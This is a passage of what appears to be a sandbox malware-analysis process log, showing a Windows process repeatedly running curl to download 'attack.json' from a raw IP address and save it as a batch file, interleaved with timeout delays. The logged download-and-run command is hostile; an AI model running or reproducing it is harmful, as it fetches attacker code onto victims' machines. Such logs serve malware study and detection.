    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:228
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2312
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1028
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:752
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4840
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4312
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:404
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4400
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2452
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4068
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3404
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4080
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2288
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3480
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1212
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3756
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2244
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4028
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2404
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4200
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3332
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4564
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2200
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3596
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1500
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1056
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:444
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1016
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2868
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3524
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4868
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1420
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3272
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1908
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4164
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:916
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4464
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1820
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3484
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2476
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1068
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3084
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2740
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2104
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3344
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1756
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3316
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4536
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1828
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3616
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4724
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4064
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:960
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1360
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3948
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2964
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2064
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4572
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4816
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2388
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4908
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4548
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3680
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1808
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4976
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3188
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1452
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1020
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2920
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2584
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2140
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4040
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3528
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3052
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4340
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1964
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3240
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2864
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2020
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2116
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4848
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4168
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:844
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4416
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2896
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1044
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4616
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4624
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4856
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1216
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2472
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4684
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:464
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4088
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:316
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5052
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4148
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4836
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1988
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1472
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4428
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1028
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2180
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1344
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3300
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1588
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1180
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4860
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2452
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1832
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3404
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2796
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2288
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3236
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2980
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4608
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4368
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1036
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:372
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2144
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2372
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1920
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1788
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3248
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1536
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3500
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4456
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1976
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5000
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3960
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:436
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2368
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4208
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:224
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4484
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1496
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1368
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3328
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4036
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4784
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4920
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1380
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3964
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2476
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2580
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1204
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4432
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:488
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3232
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4044
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2464
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5096
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3864
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2024
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4404
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4280
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3872
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2192
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4552
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:64
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3492
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4964
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2236
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5076
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3276
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3868
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3920
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4488
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:516
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2012
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1452
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4316
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2920
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4276
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2140
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3256
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2968
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2216
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4144
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1612
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:320
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4700
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:932
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1032
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2188
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:452
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3228
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:244
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2468
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4704
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1044
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4616
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3776
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3568
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4804
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4020
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2520
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4824
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3456
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3136
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3852
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4252
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4152
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4600
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2312
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3732
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2552
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3844
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4256
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4520
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1960
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:60
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:532
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4068
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1816
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4080
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4732
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:628
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:552
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1212
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2904
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2244
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:180
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2404
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3244
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2144
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3332
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1920
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1796
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1564
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1516
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3200
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4780
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2200
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2376
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1500
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2612
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3892
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:448
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1980
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2500
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4696
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4756
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1420
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:364
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1972
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3328
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4036
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4784
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4920
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1380
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3964
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3440
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2484
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3448
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3344
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4432
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3316
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1396
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4536
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2456
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4952
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2576
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3048
- - C:\Windows\system32\curl.exe
